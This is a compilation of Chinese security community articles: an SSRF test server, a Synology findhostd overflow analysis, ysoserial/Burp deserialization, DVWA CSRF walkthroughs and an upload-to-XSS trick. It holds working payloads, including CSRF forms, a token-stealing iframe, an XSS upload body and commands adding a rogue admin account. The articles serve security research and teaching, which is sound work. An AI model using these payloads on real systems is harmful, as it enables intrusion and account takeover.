supporting DICT, FILE, FTP, FTPS, Gopher, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMTP, SMTPS, Telnet and TFTP. libcurl supports SSL certificates, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies, cookies, user+password authentication (Basic, Digest, NTLM, Negotiate, Kerberos4), file transfer resume, http proxy tunneling and more!
风险点：未手动限定协议时可导致安全风险(如通过`file://`造成DoS)
## 运维风险点
一些CMS喜欢使用配置项来控制是否允许“与内网地址通讯”，使用时请注意关闭该配置以保证安全性。
## 测试方案
**白盒**
源码中定位到过滤函数，分析其逻辑，要特殊注意正则表达式的使用。
**黑盒**
1. fuzz协议(端口)
2. 测试全部内网IP地址段(畸形IP)是否被过滤
3. 测试重定向支持(循环重定向)
4. 测试域名解析到内网时是否被过滤
5. 综合2,3,4步，在重定向中测试域名解析到内网
## 辅助工具
搭建在公网服务器，提供 **[循环重定向、延时响应、解析到内网IP、任意跳转]** 四种功能，用于测试之前提到的安全风险，用法见代码。
* [Github: ssrf_server.py](https://github.com/Xyntax/pocserver/blob/master/ssrf-server/ssrf_server.py)
# !/usr/bin/env python
# -*- coding: utf-8 -*-
"""
<br> SSRF PoC Server
<br>
<br> requirement:
<br> --(Python 2.x + pip)
<br> --pip install flask
<br>
<br> usage:
<br> --python ssrf_server.py
<br>
<br> functions:
<br> --infinite loop with time-delay:
<br> ----/loop/[any-char]?sleep=[seconds]
<br> --redirect:
<br> ----/redirect/[count]?url=[destination]
<br> --domain to ip:
<br> ----/dns?ip=[IP]
<br>
<br> example:
<br> --infinite redirect loop with a 10-second-delay each time
<br> ----http://yourhost:666/loop/xxx?sleep=10
<br> --redirect 3 times and go to google.com finally
<br> ----http://yourhost:666/redirect/3?url=https://www.google.com)
<br> --redirect to a DOMAIN,and let the domain lead to 10.0.0.1
<br> ----http://yourhost:666/dns?ip=10.0.0.1
<br>
<br> author[mail:[email protected]]
"""
import time
import random
import sys
from flask import Flask, request, render_template_string, redirect, session
from string import ascii_lowercase
SLEEP_ARG = 'sleep'
URL_ARG = 'url'
IP_ARG = 'ip'
JUMP_COUNT = 'count'
class Config():
SECRET_KEY = '1426b50619e48fc6c558b6da16545d2e'
debug = True
app = Flask(__name__)
app.config.from_object(Config)
def random_string(length=8):
return ''.join([random.choice(ascii_lowercase) for _ in range(length)])
@app.route('/')
def index():
return render_template_string(__doc__)
@app.route('/loop/<string:random>')
def loop(random):
s = request.args.get(SLEEP_ARG)
if s:
time.sleep(int(s))
return redirect('/loop/%s?%s=%s' % (random_string(), SLEEP_ARG, s))
return redirect('/loop/%s' % random_string())
@app.route('/redirect/<int:count>')
def redirect_(count):
c = count
url = request.args.get(URL_ARG)
if c:
session[JUMP_COUNT] = c
return redirect('/redirect/' + str(c - 1) + '?' + URL_ARG + '=' + url)
else:
return redirect(url)
@app.route('/dns')
def dns2ip():
return redirect('http://www.%s.xip.io' % request.args.get(IP_ARG))
if __name__ == '__main__':
if '-h' in sys.argv or '--help' in sys.argv:
print __doc__
sys.exit(0)
app.run(host='0.0.0.0', port=666) | 社区文章 |
**作者：cq674350529
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
### 前言
之前在浏览群晖官方的安全公告时，翻到一个`Critical`级别的历史漏洞[Synology-SA-18:64](https://www.synology.com/en-global/security/advisory/Synology_SA_18_64)。根据漏洞公告，该漏洞存在于群晖的`DSM(DiskStation
Manager)`中，允许远程的攻击者在受影响的设备上实现任意代码执行。对群晖`NAS`设备有所了解的读者可能知道，默认条件下能用来在群晖`NAS`上实现远程代码执行的漏洞很少，有公开信息的可能就是与`Pwn2Own`比赛相关的几个。由于该漏洞公告中没有更多的信息，于是打算通过补丁比对的方式来定位和分析该公告中提及的漏洞。
### 环境准备
群晖环境的搭建可参考之前的文章[《A Journey into Synology NAS 系列一:
群晖NAS介绍》](https://cq674350529.github.io/2021/08/30/A-Journey-into-Synology-NAS-%E7%B3%BB%E5%88%97%E4%B8%80-%E7%BE%A4%E6%99%96NAS%E4%BB%8B%E7%BB%8D/),这里不再赘述。根据群晖的[安全公告](https://www.synology.com/en-global/security/advisory/Synology_SA_18_64)，以`DSM 6.1`为例，`DSM
6.1.7-15284-3`以下的版本均受该漏洞影响，由于手边有一个`DSM 6.1.7`的虚拟机，故这里基于`DSM`
`6.1.7-15284`版本进行分析。
### 补丁比对
首先对群晖的`DSM`更新版本进行简单说明，方便后续进行补丁比对。以`DSM
6.1.7`版本为例，根据其发行说明，存在`1`个大版本`6.1.7-15284`和`3`个小版本`6.1.7-15284 Update
1`、`6.1.7-15284 Update 2`及`6.1.7-15284 Update
3`。其中，大版本`6.1.7-15284`对应初始版本，其镜像文件中包含完整的系统文件，而后续更新的小版本则只包含与更新相关的文件。另外，`Update
2`版本中包含`Update 1`中的更新，`Update 3`中也包含`Update 2`中的更新，也就是说最后`1`个小版本`Update
3`包含了全部的更新。
从群晖官方的[镜像仓库](https://archive.synology.com/download/)中下载`6.1.7-15284`、`6.1.7-15284-2`和`6.1.7-15284-3`这三个版本对应的`pat`文件。在`Update
x`版本的`pat`文件中除了包含与更新相关的模块外，还有一个描述文件`DSM-Security.json`。比对`6.1.7-15284-2`和`6.1.7-15284-3`这2个版本的描述文件，如下。
可以看到，在`6.1.7-15284 Update
3`中更新的模块为`libfindhost`与`netatalk-3.x`，与对应版本发行说明中的信息一致。
借助`Bindiff`插件对版本`6.1.7-15284`和`6.1.7-15284 Update
3`中的`libfindhost`模块进行比对，如下。可以看到，主要的差异在函数`FHOSTPacketRead()`中。后面的其他函数很短，基本上就`1~2`个`block`，可忽略。
两个版本中函数`FHOSTPacketRead()`内的主要差异如下，其中在`6.1.7-15284 Update 3`中新增加了`3`个`block`。
对应的伪代码如下。可以看到，在`6.1.7-15284 Update
3`中，主要增加了对变量`v34`的额外校验，而该变量会用在后续的函数调用中。因此，猜测漏洞与`v34`有关。
### 漏洞分析
`libfindhost.so`主要是与`findhostd`服务相关，用于在局域网内通过`Synology
Assistant`工具搜索、配置和管理对应的`NAS`设备，关于`findhostd`服务及协议格式可参考之前的文件[《A Journey into
Synology NAS 系列二:
findhostd服务分析》](https://cq674350529.github.io/2021/09/12/A-Journey-into-Synology-NAS-%E7%B3%BB%E5%88%97%E4%BA%8C-findhostd%E6%9C%8D%E5%8A%A1%E5%88%86%E6%9E%90/)。其中，发送数据包的开始部分为`magic
(\x12\x34\x56\x78\x53\x59\x4e\x4f)`，剩余部分由一系列的`TLV`组成，`TLV`分别对应`pkt_id`、`data_length`和`data`。
另外，在`libfindhost.so`中存在一大段与协议格式相关的数据`grgfieldAttribs`，表明消息剩余部分的格式和含义。具体地，下图右侧中的每一行对应结构`pkt_item`，其包含`6`个字段。其中，`pkt_id`字段表明对应数据的含义，如数据包类型、用户名、`mac`地址等；`offset`字段对应将数据放到内部缓冲区的起始偏移；`max_length`字段则表示对应数据的最大长度。
> 实际上，`libfindhost.so`中的`grgfieldAttribs`，每一个`pkt_item`包含`8`个字段；而在`Synology
> Assistant`中，每一个`pkt_item`包含`6`个字段。不过，重点的字段应该是前几个，故这里暂且只关注前`6`个字段。
`findhostd`进程会监听`9999/udp, 9998/udp,
9997/udp`等端口，其会调用`FHOSTPacketRead()`来对接收的数据包进行初步校验和解析。以`DSM 6.1.7-15284`版本为例，
`FHOSTPacketRead()`的部分代码如下。首先，在`(1)`处会校验接收数据包的头部，校验通过的话程序流程会到达`(2)`，在`while`循环中依次对剩余部分的`pkt_item`进行处理。在`(2)`处会从数据包中读取对应的`pkt_id`，之后在`grgfieldAttribs`中通过二分法查找对应的`pkt_item`，查找成功的话程序流程会到达`(3)`。在`(3)`处会读取对应`pkt_item`中的`pkt_index`字段，如果`pkt_index=2`，程序流程会到达`(4)`。如果`v39
==
pkt_id`，则会执行`++v36`，否则在`(5)`处会将`pkt_id`赋值给`v39`。之后，在`(6)`处会根据`pkt_index`的值调用相应的`FHOSTPacketReadXXX()`。
// in libfindhost.so
__int64 FHOSTPacketRead(__int64 a1, char *recv_data, int recv_data_size, char *dst_buf)
{
v4 = a1;
// ...
remain_pkt_len = recv_data_size;
// ...
v6 = dst_buf;
memset(dst_buf, 0, 0x2F50uLL);
v7 = *(unsigned int *)FHOSTHeaderSize_ptr;
v8 = *(_DWORD *)FHOSTHeaderSize_ptr;
// ...
v37 = memcmp(recv_data, src, *(unsigned int *)FHOSTHeaderSize_ptr); // (1) check packet header
// ...
pkts_ptr = &recv_data[v7];
v33 = pkts_ptr;
v34 = remain_pkt_len - v8;
// ...
v11 = v6 + 0x74;
v12 = (char *)off_7FFFF7DD7FE0; // grgfieldAttribs
v38 = v6;
v39 = 0;
v36 = 0;
s = v11;
while ( 1 )
{
pkt_id = (unsigned __int8)*pkts_ptr; // (2) get pkt_item_id
v15 = pkts_ptr + 1;
wrap_remain_pkt_len = remain_pkt_len - 1;
v17 = 76LL;
v18 = 0LL;
wrap_pkt_id = (unsigned __int8)*pkts_ptr;
// ... try to find target pkt_item in grgfieldAttribs via binary search
pkt_index_in_table = *((_DWORD *)v21 + 1); // (3) find the target pkt_item
// ...
v31 = *((unsigned int *)v21 + 6);
if ( (_DWORD)v31 != 2 )
v31 = 1LL;
if ( pkt_index_in_table == 2 ) // index
{
if ( v39 == pkt_id ) // (4)
{
++v36; // cause out-of-bounds wirte later
}
else
{
v39 = (unsigned __int8)*pkts_ptr; // (5)
v36 = 0;
}
}
else
{
v39 = 0;
v36 = 0;
}
v24 = (*((__int64 (__fastcall **)(__int64, char *, _QWORD, char *, _QWORD, __int64, _QWORD))off_7FFFF7DD7FC0 // (6)
+ 3 * pkt_index_in_table
+ 1))(
a1,
pkts_ptr + 1,
wrap_remain_pkt_len,
&v38[*((_QWORD *)v21 + 1)], // *((_QWORD *)v21 + 1): pkt_item_offset
*((_QWORD *)v21 + 2), // *((_QWORD *)v21 + 2): pkt_item_max_len
v31,
v36);
// ...
地址`off_7FFFF7DD7FC0`实际指向的内容如下。其中，函数`FHOSTPacketReadString()`会使用传入的第`7`个参数`v36`。另外，`FHOSTPacketReadArray()`内部直接调用`FHOSTPacketReadString()`，因此这两个函数是等价的。
LOAD:00007FFFF7DD7FC0 off_7FFFF7DD7FC0 dq offset grgfieldParsers
LOAD:00007FFFF7DD9340 grgfieldParsers dq 0 ; DATA XREF: LOAD:off_7FFFF7DD7FC0↑o
LOAD:00007FFFF7DD9348 dq offset FHOSTPacketReadString
LOAD:00007FFFF7DD9350 dq offset FHOSTPacketWriteString
LOAD:00007FFFF7DD9358 dq 1
LOAD:00007FFFF7DD9360 dq offset FHOSTPacketReadInteger
LOAD:00007FFFF7DD9368 dq offset FHOSTPacketWriteInteger
LOAD:00007FFFF7DD9370 dq ?
LOAD:00007FFFF7DD9378 dq offset FHOSTPacketReadArray
LOAD:00007FFFF7DD9380 dq offset FHOSTPacketWriteArray
函数`FHOSTPacketReadString()`的部分代码如下。正常情况下，程序流程会到达`(7)`处，读取数据包中对应`data_length`字段，如果其值小于剩余数据包的总长度，程序流程会到达`(8)`。如果`(8)`处的条件成立，在`(9)`处会调用`snprintf()`将对应的`data`拷贝到内部缓冲区的指定偏移处，其中`snprintf()`的第`1`个参数为`(char
*)(a4 + a7 * pkt_max_length)`，用到了传进来的`v36/a7`参数。
__int64 FHOSTPacketReadString(__int64 a1, _BYTE *a2, signed int remain_pkt_length, __int64 a4, unsigned __int64 pkt_max_length, __int64 a6, unsigned int a7)
{
// ...
if ( remain_pkt_length > 0 )
{
data_length = (unsigned __int8)*a2; // (7) get data_length
v8 = 0;
if ( remain_pkt_length > (int)data_length )
{
LOBYTE(v8) = 1;
if ( *a2 )
{
LOBYTE(v8) = 0;
if ( data_length < pkt_max_length ) // (8)
{
v8 = data_length + 1;
snprintf((char *)(a4 + a7 * pkt_max_length), (int)data_length + 1, "%s", a2 + 1); // (9) out-of-bounds write
}
}
}
// ...
回到前面的`(4)/(5)`处，可以发现，如果发送的数据包中包含多个对应`pkt_index=0x2`的`pkt_item`，如`pkt_id=0xbc/0xbd/0xbe/0xbf`，则可以触发多次`++v36`。由于缺乏对`v36`的适当校验，通过发送伪造的数据包，可造成后续在调用`FHOSTPacketReadString()`出现越界写。进一步地，在`(6)`处传递的`v38`与`FHOSTPacketRead()`函数的第`4`个参数有关，而在`findhostd`程序中调用`FHOSTPacketRead()`时第`4`个参数为指向栈上的缓冲区，因此，利用该越界写操作可覆盖栈上的返回地址，从而劫持程序的控制流。
> `DSM 6.1.7-15284`版本中的`findhostd`文件似乎经过混淆了，无法直接采用`IDA
> Pro`等工具进行分析，可以在`gdb`中`dump`出`findhostd`进程，然后对其进行分析。另外，在较新的版本如`VirtualDSM
> 6.2.4-25556`中，对应的`findhostd`文件未被混淆，可直接分析。
// in findhostd
__int64 handler_recv_data(__int64 a1, __int64 a2, __int64 a3)
{
// ...
int v124[3042]; // [rsp+1970h] [rbp-2F88h] BYREF
// ...
memset(v124, 0LL, 0x2F50LL); // local buffer on stack
if ( (int)FHOSTPacketRead((__int64)v113, a2, (unsigned int)a1, (__int64)v124) <= 0 )
{
// ...
另外，由于`Synology Assistant`客户端对协议数据包的处理过程与`findhostd`类似，因此其早期的版本也会受该漏洞影响。
### 漏洞利用
查看`findhostd`启用的缓解机制，如下，同时设备上的`ASLR`等级为`2`。其中，显示`"NX
disabled"`，不知道是否和程序被混淆过有关。在设备上查看进程的内存地址空间映射，确实看到`[stack]`部分为`rwxp`。考虑到通用性，这里还是采用`ret2libc`的思路来获取设备的`root
shell`。
$ checksec.exe --file ./findhostd
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
由于越界写发生在调用`snprintf()`时，故存在`'\x00'`截断的问题。通过调试发现，利用越界写覆盖栈上的返回地址后，在返回地址的不远处存在发送的原始数据包内容，因此可借助`stack
pivot`将栈劫持到指向可控内容的地方，从而继续进行`rop`。
在实际进行利用的过程中，本来是想将`cmd`直接放在数据包中发送，然后定位到其在栈上的地址，再将其保存到`rdi`寄存器中，但由于未找到合适的`gadgets`，故采用将`cmd`写入`findhostd`进程的某个固定地址处的方式替代。同时，发现区域`0x00411000-0x00610000`不可写(正常应该包含`.bss`区域?)，而`.got.plt`区域可写，故将`cmd`写到了该区域。
root@NAS_6_1:/# cat /proc/`pidof findhostd`/maps
00400000-00411000 r-xp 00000000 00:00 0
00411000-00610000 ---p 00000000 00:00 0 # no writable permission
00610000-00611000 r-xp 00000000 00:00 0
00611000-00637000 rwxp 00000000 00:00 0 [heap]
00800000-00801000 rwxp 00000000 00:00 0
...
7ffffffde000-7ffffffff000 rwxp 00000000 00:00 0 [stack] # executable stack?
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
最终效果如下。
### One More Thing
获取到设备的`root
shell`后，相当于获取了设备的控制权，比如可以查看用户共享文件夹中的文件等。但是如何登录设备的`Web`管理界面呢？这里给出一种简单的方案：利用`synouser`和`synogroup`命令增加`1`个管理员用户，然后使用新增的用户进行登录即可。当然，`synouser`命令支持直接更改现有用户的密码，且无需原密码，但改了之后正常用户就不知道其密码了
:(
# 增加一个用户名为cq, 密码为cq674350529的用户
$ synouser --add cq cq674350529 "test admin" 0 "" 31
# 查看当前管理员组中的现有用户
$ synogroup --get administrators
# 将新增加的用户cq添加到管理员组中，xxx为当前管理员组中的现有用户
$ synogroup --member administrators xxx xxx cq
# 之后, 便可利用该账户登录设备的Web管理界面
# 删除新增加的用户
$ synouser --del cq
### 小结
本文基于群晖`DSM 6.1.7-15284`版本，通过补丁比对的方式对群晖安全公告`Synology-SA-18:64`中提及的漏洞进行了定位和分析。该漏洞与`findhostd`服务相关，由于在处理接收的数据包时缺乏适当的校验，通过发送伪造的数据包，可触发`out-of-bounds
write`，利用该操作可覆盖栈上的返回地址，从而劫持程序控制流，达到任意代码执行的目的。通常情况下，`findhostd`服务监听的端口不会直接暴露到外网，故该漏洞应该是在局域网内才能触发。
### 相关链接
* [Synology Security Advisory: Synology-SA-18:64 DSM](https://www.synology.com/en-global/security/advisory/Synology_SA_18_64)
* [群晖镜像仓库](https://archive.synology.com/download/)
* * * | 社区文章 |
**作者：[Miroslav Stampar](https://github.com/stamparm "Miroslav Stampar")
项目名称：Maltrail：Malicious traffic detection system **
**项目地址：<https://github.com/stamparm/maltrail/>**
Maltrail是一个检测恶意流量的系统，利用包含恶意或可疑线索的公共可用(黑)名单，还有从各种AV报告和自定义用户定义列表中编译的静态跟踪，其中跟踪可以是任何内容——域名（例如`zvpprsensinaix.com`针对恶意软件
[Banjori](https://johannesbader.ch/blog/the-dga-of-banjori/
"Banjori")）、URL(如针对已知恶意的[executable](https://www.virustotal.com/gui/file/61f56f71b0b04b36d3ef0c14bbbc0df431290d93592d5dd6e3fffcc583ec1e12
"executable")`hXXp://109.162.38.120/harsh02.exe`)、IP地址(如针对已知攻击者`185.130.5.231`)或HTTP
User-Agent
头部值(如针对自动SQL的`sqlmap`注入数据库成为收购工具)。此外，它使用先进的启发式机制，可以帮助发现未知的威胁(如新的恶意软件)。
* * * | 社区文章 |
# 使用burp进行java反序列化攻击
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**这篇文章主要讲解的是关于Java反序列化以及针对Java的Burp攻击插件（Java Serial
Killer）。如果你想要下载这个插件，请直接忽略这篇文章，然后直接访问该项目的**[
**Github页面**](https://github.com/NetSPI/Burp-Extensions/tree/master/JavaSerialKiller) **进行下载安装即可。**
[近期](http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)，研究人员发现了大量的Java反序列化攻击。这项技术给广大渗透测试人员提供了更多的可能性，他们可以利用这种技术来获取与Java应用程序进行通信的底层系统访问权。我们对大量应用程序进行了分析和研究，并且发现：假设程序在通信处理时所采用的协议为HTTP协议，那么我们只需要在应用程序和通信服务器之间建立一条代理链接，就可以直接查看到序列化的HTTP请求信息与HTTP响应信息。在这篇文章中，我们只是假设程序使用的是HTTP协议，除此之外，我们还将会使用到Burp。
**Burp代理**
在我们的分析过程中，我们使用Burp来代理HTTP请求，在HTTP请求信息的body还中包含有序列化的Java对象，具体信息如下图所示：
在我们的分析过程中，我们得到了一个序列化的Java对象，这个名为“State”的对象由两个字符串组成：capitol（上图中的这个单词拼写错了）和nicknames（代号）。从这里开始，我们就可以对这一请求信息进行分析和操作了。
**生成序列化对象**
网络上有几款能够生成序列化Java对象的工具，这些工具能够利用软件漏洞来进行攻击。我个人非常喜欢的一款软件是由Chris
Frohoff所开发出ysoserial（点击[这里](https://github.com/frohoff/ysoserial.git)访问该项目的Github页面）。除此之外，这款工具还自带有payload生成器。
现在，我们可以以Payload的形式来运行jar文件，并且通过执行特定的指令来生成序列化对象。请确保将你获取到的输出信息保存至一个新建文件中：
java -jar ./ysoserial-0.0.4-all.jar CommonsCollections1 'ping netspi.com' > payload
然后，我们就可以选中文件内容，然后点击鼠标右键，从弹出的菜单中选择“（Paste form
file）复制”，这样就可以将序列化的输出信息拷贝至Burp之中了：
在进行了上述操作之后，我们将得到如下图所示的结果：
**利用Burp生成序列化对象**
Ysoserial的功能非常强大，但是如果工具支持我进行自定义设置的话，那么我肯定会这样做。我所指的自定义设置是：我不喜欢在命令行与Burp之间来回地切换，所以我开发出了一个Burp插件－Java
Serial
Killer，这款插件可以帮助我对输出对象进行序列化处理。从本质上来看，这款插件实际上就是Repeater标签所实现功能（Ysoserial使用这个组件来生成Payload）的修改版。
在使用这个插件时，我们只需要在窗口中选中POST请求信息，然后点击鼠标右键，选择“Send to Java Serial Killer”选项即可。
点击上述选项之后，Burp中将会出现一个新的标签。在这个标签中，我们可以看到其内容与Raw标签中所显示的请求信息是一样的，只是我们需要在另一个窗口中来对信息进行处理。
在Java Serial
Killer标签页中可以看到很多功能按钮，这些功能包括发送请求信息，序列化body数据，选择payload类型，以及执行特定指令等等。
比如说，我们想使用支持CommonsCollections1的payload来ping netspi.com，因为我们知道目标站点运行了Commons-Collections
3.1。我们只需要在下拉菜单中设置payload，然后在命令栏中输入我们所要执行的命令，最后按下“Serialize（序列化）”按钮即可。点击界面中的那个问号按钮，系统将会显示payload的类型，如果你还想获取更多的详细信息，系统还会给你显示当前目标软件的版本信息。
现在，在请求信息中的序列化对象之中，就包含有我们需要执行的命令了。在点击了“Go”按钮之后，软件会将请求信息发送至目标系统之中，然后还会在右侧的信息栏中显示该请求所对应的响应信息。如果你使用的是Repeater，你也可以按照这样的方式发送请求信息。如果你想要使用其他类型的Payload，你只需要选择一个新的Payload，然后再次点击“Serialize”按钮即可。
由于Chris Frohoff目前正在为ysoserial添加更多类型的Payload，所以我也准备对Java Serial Killer进行相应的更新。
**结论**
我已经将这款插件提交给了Burp应用商店，我希望相关技术人员能够尽快允许这款插件上架。但是，如果你想要现在就尝试使用这款插件的话，你可以直接从本项目的[Github主页](https://github.com/NetSPI/Burp-Extensions/releases)中获取。但是请注意，在使用这款插件之前，请确保你的计算机中安装了Java 8。 | 社区文章 |
# 3.CSRF
## 1.CSRF(Low)
相关代码分析
可以看到，服务器收到修改密码的请求后，会检查参数password_new与password_conf是否相同，如果相同，就会修改密码，并没有任何的防CSRF机制（当然服务器对请求的发送者是做了身份验证的，是检查的cookie，只是这里的代码没有体现）。
修改密码，然后抓包，记录下修改密码的连接
[http://43.247.91.228:81/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#](http://43.247.91.228:81/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#)
或者burp右键生成CSRF的poc，保存成HTML文档
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://43.247.91.228:81/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="123456" />
<input type="hidden" name="password_conf" value="123456" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
CSRF最关键的是利用受害者的cookie向服务器发送伪造请求, 这里注意， A浏览器留下的cookie不能在B浏览器上使用。
所以当了受害者用了不同的游览器点击链接时, 攻击是不会被触发的。
这里用同一浏览器，打开构造的链接或者HTML文档
之后可以用修改后的密码去登陆了
这里构造的链接还可以通过短网址平台来修改
<https://dwz.cn/>
## 2.CSRF(Medium)
相关代码分析
eregi(string pattern, string string)
检查string中是否含有pattern（不区分大小写），如果有返回True，反之False。
可以看到，Medium级别的代码检查了保留变量
HTTP_REFERER（http包头的Referer参数的值，表示来源地址）中是否包含SERVER_NAME（http包头的Host参数，及要访问的主机名），希望通过这种机制抵御CSRF攻击。
过滤规则是http包头的Referer参数的值中必须包含主机名（这里是43.247.91.228）
我们可以将攻击页面命名为43.247.91.228.html（页面被放置在攻击者的服务器里，这里是x.x.x.x）就可以绕过了
构造CSRF的poc，保存成HTML文档
<img src="http://43.247.91.228:81/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0"style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
这里一样用同一浏览器，打开构造的链接抓包
burp里的url可以自己构造
[http://43.247.91.228:81/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#](http://43.247.91.228:81/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#)
可以看到密码成功修改
之后可以用修改后的密码去登陆了
## 3.CSRF(High)
相关代码分析
可以看到，High级别的代码加入了Anti-CSRF
token机制，用户每次访问改密页面时，服务器会返回一个随机的token，向服务器发起请求时，需要提交token参数，而服务器在收到请求时，会优先检查token，只有token正确，才会处理客户端的请求。
现在要想进行 CSRF 攻击就必须获取到用户的 token，而要想获取到 token 就必须利用用户的 cookie
去访问修改密码的页面，然后截取服务器返回的 token 值。这里可以利用 XSS(Stored) 的 high
级别的漏洞，我们注入一个攻击脚本，使得每次打开页面时都弹出 token 值。
注入的 payload 如下，别忘了 high 级别的 XSS(Stored) 需要抓包后改 name 参数。
<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
放包后，每次打开页面都会弹出 token 值
在页面弹出的iframe框里修改密码，就可成功修改
之后可以用修改后的密码去登陆了
## 4.CSRF(Impossible)
相关代码分析
可以看到，Impossible级别的代码利用PDO技术防御SQL注入，至于防护CSRF，则要求用户输入原始密码（简单粗暴），攻击者在不知道原始密码的情况下，无论如何都无法进行CSRF攻击。
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
**说到文件上传漏洞，人们的第一印象通常是上传木马getshell。但是，在挖漏时很少碰到可以顺利上传木马的点，一般都是卡在某一步，然后不了了之。在本文，作者分享了如何从受限的文件上传漏洞转化为储存型XSS。**
## 上传功能
在做项目时，我非常喜欢通过Fuzz来研究目标的文件上传点。 一般来说，文件上传漏洞会造成严重的安全漏洞，并且技术人员似乎难以防范。
目标属于私人项目，站点上有一个请求协助功能。 在这个求助表单中，用户可以上传附件。 尝试上传正常的图片后，我注意到一件事：上传的图片被储存在同一个域下。
{"result":true,"message":"/UploadFiles/redacted/redacted/3021d74f18ddasdasd50abe934f.png,"code":0}
考虑到应用站点的安全性，有经验的人员会将上传的文件储存在特定域，以减轻或避免上传漏洞造成的危害。
## 研究上传点
接下来做常规操作，上传 **.html** 文件，返回：
{"result":false,"message":"That file type is not supported.","code":0}
当然，这是预料之中的事。现在，我可以大致判断目标站点采用了白名单策略。接下来，尝试使用Burp
Intruder来爆破有哪些后缀。Github上的[SecLists项目](https://github.com/danielmiessler/SecLists)有一个很好用的后缀字典。但是，经过测试发现目标站点似乎存在速率限制，发了几十个数据包后，我的IP被ban了。
挂上V皮N，我接着手动测试了一些常用扩展。我还测试了我想得到的所有绕过方法（空字节绕过，unicode编码等等），但都失败了。目前得出四个可上传的后缀名：jpg，jpeg，png和gif。成功上传后，目标应用会给文件重新赋名。
我注意到一个有趣的东西，扩展名中可存在特殊字符，并且不会被删除。举个例子， **badfile.”gif** 可以上传成功，但是
**badfile.foo”gif** 不行。
构造请求：
-----------------------------6683303835495
Content-Disposition: form-data; name="upload"; filename="badfile.''gif"
Content-Type: image/png
GIF89a
@HackerOn2Wheels
-----------------------------6683303835495--
响应：
{"result":true,"message":"/UploadFiles/redacted/redacted/3021d74f18f649f5ac943ff50abe934f.''gif","code":0}
关于这个文件上传点，总结如下：
1. 应用从最后一个`"."`中取扩展名
2. 文件名中，仅允许存在 `a-z A-Z 0-9`
3. 存在白名单策略（gif, png, jpg, jpeg）
4. 如果文件扩展名名合法，则创建文件，并且更改文件名称。
## IE/Edge 特性
Web应用通常会检测目标文件的文件头，并以此判断是否合法。例如，我随意上传一个文件：
-----------------------------6683303835495
Content-Disposition: form-data; name="upload"; filename="badfile.''gif"
Content-Type: image/png
foobar
@HackerOn2Wheels
-----------------------------6683303835495--
响应：
{"result":false,"message":"That file type is not supported.","code":0}
在上传过滤函数中，一般只会检验文件头中的前四个字节。例如，下面这几个图像文件被检测的字节：
JPEG - FF D8 FF DB - ÿØÿÛ
GIF - 47 49 46 38 - GIF8
PNG - 89 50 4E 47 - ‰PNG
我只需使用上面的任意一个，就可以成功上传。目前，大多数浏览器会检验完整的文件头，但IE/Edge除外。 例如GIF和PNG文件，完整的文件头为：
GIF - 47 49 46 38 39 61 - GIF89a ( or GIF87a )
PNG - 89 50 4E 47 0D 0A 1A 0A - .PNG....
<https://en.wikipedia.org/wiki/List_of_file_signatures>
## 如何利用？
如果要利用这点，仅需做到两点。
1. 使用错误的文件扩展，上传该文件，以混淆浏览器。
2. 添加神奇的文字头： **GIF8**
-----------------------------6683303835495
Content-Disposition: form-data; name="upload"; filename="badfile.''gif"
Content-Type: image/png
GIF8
<html><script>alert('XSS is easy');</script></html>
-----------------------------6683303835495--
响应：
{"result":true,"message":"/UploadFiles/redacted/redacted/5060bddf6e024def9a8f5f8b9c42ba1f.''gif","code":0}
用 **Microsoft Edge或Internet Explorer** 打开
**<https://redacted.com/UploadFiles/redacted/redacted/5060bddf6e024def9a8f5f8b9c42ba1f.”gif>**
## 为什么会这样?
要搞清楚这点，我们先创建三个文件。内容分别为：
1. 文件头长度4个字节（GIF8）的文件。
2. 文件头长度8个字节（GIF89a）的文件。
3. 没有文件头，扩展名为 **.gif** 的图像文件。
在Linux机器，使用 **file** 命令查看：
可以看到，linux是基于文件头和内容来判断文件类型的。首先，只要附有图像文件头，不管是4字节或8字节，都会被认为是图像文件。如果没有文件头，则从文件内容判断文件类型，如上图的
**test.gif** 文件中带有html标签，被识别为html文件。
Edge和IE似乎没有仔细检查文件头：
但它们确实很关心文件扩展：
Edge和IE浏览器在默认情况下，易受MIME嗅探攻击。简单来说，就是Edge/IE会检视文件内容，然后根据这点来设置访问类型。在我们的
**badfile.”gif** 例子中，它会先读取内容，发现存在`<html>`标签，则会设置解析类型为text/html。
<https://en.wikipedia.org/wiki/Content_sniffing>
这正是漏洞发生的地方。 Firefox和Chrome会同时关注文件头和扩展。它们会检测整个文件头。
举个例子，在Firefox中打开4字节和8字节文件头的文件：
从上图可以看到，仅有4个字节的文件头无法使Firefox或Chrome将其渲染为GIF文件。即使可以渲染，较新版本的Firefox或Chrome也会对文件做预包装（Pre-wrap）处理，这将破坏html标签。目前，似乎没人可以直接绕过这点。
## 简单总结
